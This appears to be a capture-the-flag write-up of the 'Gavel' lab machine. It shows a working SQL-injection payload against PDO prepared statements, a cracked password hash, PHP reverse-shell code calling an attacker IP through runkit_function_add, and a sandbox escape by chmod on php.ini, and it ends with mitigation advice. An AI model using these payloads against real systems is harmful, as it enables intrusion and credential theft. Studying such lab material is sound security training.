Overview#
Gavel is a medium machine which focuses heavy in understanding core PHP vulnerabilities and advanced SQL-Injection possibilities. As it revolves around building your custom SQL-Injection code in getting user and some light reverse engineering for root, I think the box is more on a intermediate to high difficult level. I liked it overall, because in taught me a new SQL-Injection technique as well as unknown PHP attack vectors.
User#
Nmap portscan:
sudo nscan 10.129.36.216
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)Feroxbuster reveals the site also leaks a git repository.
feroxbuster -u 'http://gavel.htb' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,bak,js,php -b "gavel_session=5pc1g8opk69ivgr1oaf84cc2kt"
<SNIPPED>
301 GET 9l 28w 305c http://gavel.htb/.git => http://gavel.htb/.git/
200 GET 6l 43w 240c http://gavel.htb/.git/info/exclude
200 GET 355l 1786w 292768c http://gavel.htb/.git/index
200 GET 8l 20w 136c http://gavel.htb/.git/config
200 GET 24l 83w 544c http://gavel.htb/.git/hooks/pre-receive.sample
200 GET 1l 1w 3c http://gavel.htb/.git/COMMIT_EDITMSG
200 GET 42l 238w 1492c http://gavel.htb/.git/hooks/prepare-commit-msg.sample
200 GET 15l 79w 478c http://gavel.htb/.git/hooks/applypatch-msg.sample
200 GET 1l 10w 73c http://gavel.htb/.git/description
200 GET 1l 2w 23c http://gavel.htb/.git/HEAD
200 GET 169l 798w 4898c http://gavel.htb/.git/hooks/pre-rebase.sample
200 GET 53l 234w 1374c http://gavel.htb/.git/hooks/pre-push.sample
200 GET 128l 546w 3650c http://gavel.htb/.git/hooks/update.sample
200 GET 13l 67w 416c http://gavel.htb/.git/hooks/pre-merge-commit.sample
200 GET 24l 163w 896c http://gavel.htb/.git/hooks/commit-msg.sample
200 GET 8l 32w 189c http://gavel.htb/.git/hooks/post-update.sample
200 GET 49l 279w 1643c http://gavel.htb/.git/hooks/pre-commit.sample
200 GET 1l 1w 41c http://gavel.htb/.git/refs/heads/master
200 GET 3l 27w 422c http://gavel.htb/.git/logs/HEAD
200 GET 78l 499w 2783c http://gavel.htb/.git/hooks/push-to-checkout.sample
200 GET 173l 669w 4655c http://gavel.htb/.git/hooks/fsmonitor-watchman.sample
200 GET 14l 69w 424c http://gavel.htb/.git/hooks/pre-applypatch.sample
200 GET 2l 9w 795c http://gavel.htb/.git/objects/a0/cb5c73cfb687cb4b93ded52d4783e75c4b78db
200 GET 8l 41w 2713c http://gavel.htb/.git/objects/89/ed6f60daf4194642c6bd2b18a921e9146dfede
200 GET 2l 6w 668c http://gavel.htb/.git/objects/6f/dda0d0d37440c2da74782e516a62e11b07f0fe
200 GET 4l 15w 1007c http://gavel.htb/.git/objects/d2/8dbfc8ae1d866f72fcaf8da41a7ee7ad25063b
200 GET 1l 8w 615c http://gavel.htb/.git/objects/d2/1fb68d090c644d629201b5c7a7498c06d95f26
200 GET 4l 15w 953c http://gavel.htb/.git/objects/e5/67d359d7a70a62acad577eaeae5294da98f22d
200 GET 4l 18w 1452c http://gavel.htb/.git/objects/9d/be87d328a15bb89172f55c751a1c42a3affd21
200 GET 45l 266w 23995c http://gavel.htb/.git/objects/9d/f490e8cfdd75704d31f518caf76ab34494b124
<SNIPPED>Let’s see if we find some secrets (dumping the repo)
git-dumper http://gavel.htb . A short analyze just with Snyk finds vulnerable PHP code (SQL-Injection) on inventory.php:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}$col is injectable, even tough there is some user input sanitization done on backticks (removing any and adding one pair again) and we are in a PHP prepare statement. But backticks only defines identifiers and don’t fully escape user input. So we can control user_id fully and inject the placeholder \?;-- into sort parameter (which lands into $col) . This achieves us SQL injection:
Injection to read the user tables:
POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://gavel.htb
DNT: 1
Connection: keep-alive
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=5pc1g8opk69ivgr1oaf84cc2kt
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user_id=x` FROM (SELECT group_concat(0x0a,username,0x3a,password) AS `'x` FROM users)y;-- -&sort=\?;--Good blogpost on this odd injection: https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/
SQL injection step by step:
SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC
-- $col injection removes anything
SELECT `\?;--` FROM inventory WHERE user_id = ? ORDER BY item_name ASC
-- on placeholder \? we get everything injected from user_id; y can be any char, it is needed tough
SELECT `'x` FROM (SELECT group_concat(0x0a,username,0x3a,password) AS `'x` FROM users)y;-- -;--` FROM inventory WHERE user_id = ? ORDER BY item_name ASC0x0a is for a linebreak; 0x3a for “:”
Result:
Cracking hash of auctioneer:
hashcat -m3200 hash rockyou.txt --user
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1auctioneer:midnight1
Gets us logged into admin panel
Looking at admin panel, we see that we can alter some bidding rules of the current auctions. Looking at admin.php:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');
if ($auction_id > 0 && (empty($rule) || empty($message))) {
$stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$_SESSION['success'] = 'Auction not found.';
header('Location: admin.php');
exit;
}
if (empty($rule)) $rule = $row['rule'];
if (empty($message)) $message = $row['message'];
}
if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}
}Looking at where this rules are used we find bid_handler.php:
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}runkit_function_add() is basically PHP code execution by adding a new function. If we can trigger this with our code, we have a RCE:
Input a PHP reverse shell on any of three auctions like:
$sock=fsockopen("10.10.14.23",9001); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);Then switch to Bidding and bid on the same item, this executes previous code and lands us a shell as www-data:
ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.36.216:55720.
/bin/sh: 0: can't access tty; job control turned off
$ Looking at /etc/passwd, we discover user auctioneer
www-data@gavel:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<SNIPPED
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
<SNIPPED>Switching to this user by trying password reuse with previous cracked password is successful:
www-data@gavel:/var/www/html$ su auctioneer
Password:
auctioneer@gavel:/var/www/html$ We get the user flag:
auctioneer@gavel:~$ ls -lha
total 12K
drwxr-x--- 2 auctioneer auctioneer 4.0K Nov 5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 ..
lrwxrwxrwx 1 root root 9 Nov 5 12:20 .bash_history -> /dev/null
-rw-r----- 1 root auctioneer 33 Nov 30 04:13 user.txtRoot#
We were not able to login via SSH because auctioneer is in the deny list:
auctioneer@gavel:/etc/ssh$ cat sshd_config
<SNIPPED>
DenyUsers auctioneerWith enumeration we find a gavel directory under /opt:
auctioneer@gavel:/tmp$ ls -lha /opt/gavel
total 64K
drwxr-xr-x 5 root root 4.0K Nov 30 11:47 .
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 ..
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 .config
-rwxr-xr-- 1 root root 36K Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4.0K Nov 30 11:43 submissionUnder .config we can find a custom php.ini:
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=OffMost important flags are open_basedir which restricts PHP code execution on this directory and all the disable_functions, most of them functions can be used to achieve RCE (if enabled).
gaveld is a ELF-Binary, which we can analyse with ghidra:
/var/run/gaveld.sock, which is accessible by group gavel-seller, which our user auctioneer is in.
The main function afterwards calls handle_conn(), that handles whole function of the socket. We discover there is some yaml loading in play and very important a call to php_safe_run:
Analyzing this custom function we find out it loads the custom php.ini and executes php binary with previous loaded yaml file:
Verifying if the socket is running:
auctioneer@gavel:/opt/gavel$ ps -aux | grep gaveld
root 995 0.0 0.0 19128 3864 ? Ss 04:12 0:00 /opt/gavel/gaveldPerfect, it runs high privileged as root, which means if we get any arbitrary code execution via this daemon, we win.
Luckily we don’t have to code a client to speak to this socket, with a short search on the filesystem we find custom client gavel-util:
auctioneer@gavel:~$ find / -group gavel-seller 2> /dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
auctioneer@gavel:~$ gavel-util
Usage: gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoiceUnder /opt/gavel/sample.yaml also lies a sample yaml file:
auctioneer@gavel:~$ cat sample.yaml
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"Trying in submitting this in a test fails:
auctioneer@gavel:~$ gavel-util submit sample.yaml
YAML missing required keys: name description image price rule_msg rule The error message reveals, it does expect fields name description image price rule_msg rule (so sample.yaml without item top)
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"auctioneer@gavel:/dev/shm$ gavel-util submit item.yaml
Item submitted for review in next auctionAs expected, if we just use our previous reverse shell under rule, we get denied:
auctioneer@gavel:/tmp$ gavel-util submit item.yaml
Illegal rule or sandbox violation.
Warning: fsockopen() has been disabled for security reasons in Command line code on line 1
Notice: Undefined variable: pipes in Command line code on line 1
Warning: proc_open() has been disabled for security reaso Now the misconfiguration lies in having php.ini in the same directory, where we are allowed to access any file. We can abuse PHP implementation of chmod to adjust the permissions on php.ini enabling functions which grants use RCE capabilities:
- Adjust permissions on
php.ini
name: "CUSTOM"
description: "CUSTOM"
image: "http://gavel.htb/assets/img/NDA.jpg"
price: 10000
rule_msg: "CUSTOM"
rule: "chmod (\"/opt/gavel/.config/php/php.ini\", 0777);"auctioneer@gavel:/dev/shm$ gavel-util submit item.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR- Despite the message we see, the file permissions changed, and we are able to delete the entries on
disable_functionsandopen_basedir:
nano /opt/gavel/.config/php/php.ini- Now we can use our previous reverse shell:
ame: "CUSTOM"
description: "CUSTOM"
image: "http://gavel.htb/assets/img/NDA.jpg"
price: 10000
rule_msg: "CUSTOM"
rule: "$sock=fsockopen(\"10.10.14.23\",9001); $proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"Spinning up a listener:
ncat -lvnp 9001Submit:
auctioneer@gavel:/dev/shm$ gavel-util submit item.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERRORCatch root reverse shell:
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.36.216:47374.
/bin/sh: 0: can't access tty; job control turned off
#The root flag can be retrieved under default place /root/root.txt
Learning Points#
- You might abuse parameters for
SQL-Injection, even if those are correctly escaped and within a prepare statement. runkit_function_addis aPHPfunction to watch out for, as it a dangerous function, which enables arbitrary code execution.- Enumeration of UNIX sockets.
- If
php.iniis within the space we can modify, we can modify allow dangerous functions to execute.
Mitigation Points#
- Never mix manually constructed SQL fragments and bindings when using
PDOemulation in php. - Use strong passwords and don’t reuse passwords
php.inifiles do not belong on the same space, where the tools you want to mitigate has read/write access.- Run daemon and processes under the least privilege possible (why does gavel daemon need to run as
root).

